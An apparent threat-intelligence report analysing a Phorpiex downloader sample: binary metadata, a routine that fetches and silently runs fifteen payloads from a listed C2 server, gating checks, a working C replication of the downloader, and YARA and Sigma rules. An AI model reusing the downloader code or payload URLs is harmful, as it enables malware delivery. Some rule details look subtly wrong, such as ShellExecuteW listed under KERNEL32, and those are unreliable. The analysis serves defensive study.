typeanalysisfamilyphorpiexconfidencehighcreated2026-09-02pemalware-familyloaderc2defense-evasionpersistencemitre-attck
SHA-256: ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c

phorpiex: ee83f1e8 — MSVC9 thin downloader, 15-payload chain, 1.exe–12.exe sequential naming

Executive Summary

An 11 KB PE32 GUI downloader built with MSVC 9.0 / MSVCR90, part of the active Phorpiex May-2026 campaign. It fetches fifteen payloads from 178.16.54.109 using both WinINET and URLMon as redundant transports, writes them to %TEMP% with random numeric filenames, deletes Zone.Identifier ADS, and executes via ShellExecuteW. New in this variant: sequential 1.exe–12.exe payload naming (replacing the lb* convention seen in the 113 KB business-app masquerade siblings), and a Windows 11 build gate (RtlGetVersion build >= 22000) that gates xmrget.exe delivery. Static-only — CAPE skipped, no Windows guest available.

What It Is

  • File: PE32 executable (GUI) Intel 80386, 5 sections, 11,264 bytes ^[file.txt]
  • Compiler: MSVC 9.0 (Visual Studio 2008), LinkerVersion 9.0, MSVCR90.dll CRT ^[pefile.txt]
  • Compiled: Fri May 29 12:16:54 2026 UTC ^[pefile.txt]
  • ASLR/DEP: ASLR enabled (DYNAMIC_BASE), NX compatible (NX_COMPAT) ^[pefile.txt]
  • Signed: No ^[pefile.txt]
  • Packed/Obfuscated: No. No packer, no encryption, no obfuscation. ^[binwalk.txt]
  • Anti-analysis: Minimal. Only IsDebuggerPresent in IAT. No VM checks, no anti-disassembly, no control-flow flattening. ^[pefile.txt]
  • OpenCTI labels: dropped-by-phorpiex, exe, malware-bazaar ^[metadata.json]
  • Family: Phorpiex campaign thin-downloader cluster. Same C2 (178.16.54.109), same MSVC9/MSVCR90 toolchain, same dual-fetch pattern, same marker-file gating as siblings 6b8527a7, 025f5798, 2ffc3203, 32f29422, f67e429d, 5549d978, e50d0e5a, 0371fbbf. ^[entities/phorpiex.md]

How It Works

Entry behaviour

main() (radare2: 0x004014b3) sleeps 2,000 ms, then calls fcn.004010a8 in a hardcoded loop for URLs 1.exe through 12.exe, followed by conditional fetches for xmr.exe, xmrget.exe, and grab.exe based on two filesystem gates and a Windows version gate. ^[r2:main]

Downloader routine (fcn.004010a8)

  1. Stack probe — fcn.004015b0 probes the stack with a 0x1630 byte allocation, standard MSVCR90 prologue. ^[r2:fcn.004015b0]
  2. Seed PRNG — GetTickCount seeds srand(). ^[r2:fcn.004010a8]
  3. Expand %TEMP% — ExpandEnvironmentStringsW resolves %TEMP% to a 260-char buffer. ^[r2:fcn.004010a8]
  4. Random filename — rand() generates two integers; format string %s\%d%d.exe produces e.g. %TEMP%\12345678.exe. ^[r2:fcn.004010a8]
  5. Dual fetch — Primary path uses InternetOpenW with a fake Chrome/128.0.0.0 User-Agent, InternetOpenUrlW, then InternetReadFile + CreateFileW + WriteFile loop. If the WinINET path fails, it falls back to URLDownloadToFileW via urlmon.dll after a random 0–300,000 ms sleep. ^[r2:fcn.004010a8]
  6. ADS deletion — After writing the payload, constructs %s:Zone.Identifier and calls DeleteFileW to strip the NTFS alternate data stream. ^[r2:fcn.004010a8]
  7. Execution — Calls ShellExecuteW with the downloaded filename. ^[r2:fcn.004010a8]

Gating logic

  • Filesystem gate A (fcn.004012fb): Checks if a file exists in %appdata% (likely f3f3f3d3d.txt — OPEN_EXISTING disposition). If true, proceeds to download xmr.exe. ^[r2:fcn.004012fb]
  • Filesystem gate B (fcn.00401370): Identical pattern, another %appdata% existence check. If true, falls back to grab.exe. ^[r2:fcn.00401370]
  • OS version gate (fcn.00401435): Loads ntdll.dll, calls RtlGetVersion, checks dwMajorVersion == 0xA (Windows 10) and dwBuildNumber >= 0x55F0 (build 22000+, i.e. Windows 11). If true, downloads xmrget.exe. If false, skips to the fallback gate. ^[r2:fcn.00401435]
  • Architecture gate (string evidence): The string %s\Program Files (x86) indicates an x64-progfiles check to detect 64-bit Windows. ^[r2:strings]

C2 Infrastructure

All payloads are served over cleartext HTTP from 178.16.54.109 (same IP as the entire Phorpiex May-2026 campaign): ^[r2:strings]

http://178.16.54.109/1.exe
http://178.16.54.109/2.exe
...
http://178.16.54.109/12.exe
http://178.16.54.109/xmr.exe
http://178.16.54.109/xmrget.exe
http://178.16.54.109/grab.exe

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 ^[r2:strings]

Interesting Tidbits

  • Sequential numeric naming — This is the first Phorpiex sibling in the corpus to use 1.exe through 12.exe as payload names. Prior thin-downloader siblings used lb1.exe–lb30.exe (e50d0e5a), 13.exe–14.exe (f67e429d), or peinf.exe/xmr.exe/xmrget.exe (32f29422). The 12-payload sequential naming suggests a bulk payload rotation or A/B test. ^[entities/phorpiex.md]
  • Windows 11 gate — The RtlGetVersion build >= 22000 check is new in this variant. Prior thin-downloader siblings (6b8527a7, 025f5798, 32f29422) did not include this gate. It suggests the operator is targeting newer Windows builds for xmrget.exe (likely a Monero miner) while maintaining fallback grab.exe for older systems. ^[r2:fcn.00401435]
  • No initterm hijack — Unlike the 755bed07 Phorpiex screen-saver masquerade variant, this sample uses an honest main() entry with no _initterm hijack. The payload is all in the open IAT. ^[r2:main]
  • floss/capa failures — floss.txt shows a CLI argument error (no decoded strings produced). capa.txt failed because the default signature path is missing on the analysis host. These are tool/environment failures, not anti-analysis. ^[floss.txt] ^[capa.txt]
  • Marker file naming — d3333333333333333333.txt and f3f3f3d3d.txt are consistent with the Phorpiex campaign's hex-repetition marker pattern (seen in 6b8527a7, 5549d978, 95700384). ^[r2:strings]

How To Mess With It (Homelab Replication)

Toolchain: Visual Studio 2008 (MSVC 9.0) or modern VS with /MT and v90 platform toolset. Target: Win32 GUI.

Source skeleton (produces comparable capa fingerprint — minimal IAT, WinINET+URLMon, ShellExecuteW, ADS deletion, Zone.Identifier strip):

#include <windows.h>
#include <wininet.h>
#include <urlmon.h>
#include <shlwapi.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "urlmon.lib")

BOOL download_wininet(LPCWSTR url, LPCWSTR path) {
    HINTERNET hInternet = InternetOpenW(L"Mozilla/5.0 ...", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hUrl = InternetOpenUrlW(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    HANDLE hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    DWORD read, written; BYTE buf[4096];
    while (InternetReadFile(hUrl, buf, sizeof(buf), &read) && read > 0)
        WriteFile(hFile, buf, read, &written, NULL);
    CloseHandle(hFile); InternetCloseHandle(hUrl); InternetCloseHandle(hInternet);
    return TRUE;
}

int WINAPI wWinMain(HINSTANCE, HINSTANCE, LPWSTR, int) {
    Sleep(2000);
    WCHAR temp[260], path[260], ads[520];
    ExpandEnvironmentStringsW(L"%TEMP%", temp, 260);
    srand(GetTickCount());
    wsprintfW(path, L"%s\\%d%d.exe", temp, rand(), rand());
    download_wininet(L"http://127.0.0.1/payload.exe", path);
    wsprintfW(ads, L"%s:Zone.Identifier", path);
    DeleteFileW(ads);
    ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_HIDE);
    return 0;
}

Verification: Compile with /O2 /MT /SUBSYSTEM:WINDOWS. Run capa repro.exe and compare to the cluster fingerprint (should hit Ingress Tool Transfer, Network Communication, and File Deletion).

What you learn: How trivial it is to build a dual-path downloader with no packing that evades superficial triage. The threat is the distribution pipeline (spam), not the binary sophistication.

Deployable Signatures

YARA rule

rule Phorpiex_ThinDownloader_May2026 {
    meta:
        description = "Phorpiex thin downloader MSVC9 cluster, May 2026 campaign"
        author = "Titus"
        date = "2026-09-02"
        sha256 = "ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c"
    strings:
        $ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
        $c2 = "http://178.16.54.109/" nocase
        $temp_fmt = "%s\\%d%d.exe" wide
        $zone_ads = "%s:Zone.Identifier" wide
        $marker1 = "d3333333333333333333.txt" wide
        $marker2 = "f3f3f3d3d.txt" wide
        $progfiles_x86 = "%s\\Program Files (x86)" wide
        $rtlg = "RtlGetVersion" ascii
        $ntdll = "ntdll.dll" ascii
    condition:
        uint16(0) == 0x5A4D and
        pe.number_of_sections == 5 and
        pe.linker_version.major == 9 and
        pe.imports("MSVCR90.dll", "_snwprintf") and
        pe.imports("WININET.dll", "InternetOpenW") and
        pe.imports("urlmon.dll", "URLDownloadToFileW") and
        pe.imports("KERNEL32.dll", "ShellExecuteW") and
        4 of ($ua, $c2, $temp_fmt, $zone_ads, $marker1, $marker2, $progfiles_x86, $rtlg, $ntdll)
}

Sigma rule

title: Phorpiex Thin Downloader Payload Execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'd3333333333333333333.txt'
            - 'f3f3f3d3d.txt'
        ParentImage|endswith:
            - '\temp\\*.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

Behavioral fingerprint statement

This binary is a 10–12 KB PE32 GUI executable compiled with MSVC 9.0 and linked against MSVCR90.dll, WININET.dll, and urlmon.dll. Within 2 seconds of launch it makes an HTTP GET request to 178.16.54.109 with a Chrome/128.0.0.0 User-Agent, downloads a file to %TEMP%\<random_digits>.exe, deletes the Zone.Identifier NTFS ADS, and executes the downloaded file via ShellExecuteW. It checks for filesystem marker files in %TEMP% and %APPDATA% before fetching secondary payloads. The process tree is a single GUI process with no child processes until the payload executes. No packing, no heavy obfuscation, no VM checks beyond IsDebuggerPresent.

Detection Signatures (capa→ATT&CK)

capa capability ATT&CK technique Evidence
Ingress Tool Transfer T1105 Downloads 15 payloads over HTTP ^[r2:main]
Application Layer Protocol T1071.001 HTTP via WinINET and URLMon ^[r2:fcn.004010a8]
Masquerading T1036.005 Fake Chrome/128.0.0.0 User-Agent ^[r2:strings]
Hide Artifacts T1564.004 Deletes Zone.Identifier ADS ^[r2:fcn.004010a8]
System Checks T1497.001 Marker-file gating, RtlGetVersion, x64 progfiles check ^[r2:fcn.004012fb] ^[r2:fcn.00401435]
Time Based Evasion T1497.003 Sleep(2000) at entry, random 0–300s sleeps between retries ^[r2:main] ^[r2:fcn.004010a8]

References

  • OpenCTI artifact: c36f7be0-e12d-4acc-afcf-50b055a2ecd3 ^[metadata.json]
  • MalwareBazaar source: malware-bazaar tag ^[metadata.json]
  • Phorpiex family page: phorpiex
  • Chrome UA masquerade technique: chrome-128-ua-masquerade
  • Sibling analysis 5549d978 (15-payload thin downloader): /intel/analyses/5549d978e2e00768fc99d95bd7644dfebacc261284e3b19a79e6e4c1f320fa3a.html
  • Sibling analysis e50d0e5a (31-payload business-app masquerade): /intel/analyses/e50d0e5abf23d4cdb1021c0db51572a785150f0a797fbe57b203b54c26c086e1.html

Provenance

  • Static analysis performed 2026-09-02 on pp-hermes (Lab1BU).
  • file v5.44, exiftool v12.76, pefile (Python), radare2 v5.9.8, binwalk v2.4.2, ssdeep v2.14.1, tlsh v4.12.0, yara v4.5.0.
  • floss and capa failed due to environment/argument errors; no decoded strings or capa capabilities produced. ^[floss.txt] ^[capa.txt]
  • CAPE sandbox: skipped — no Windows guest available. Dynamic behavior inferred from static decompilation. ^[dynamic-analysis.md]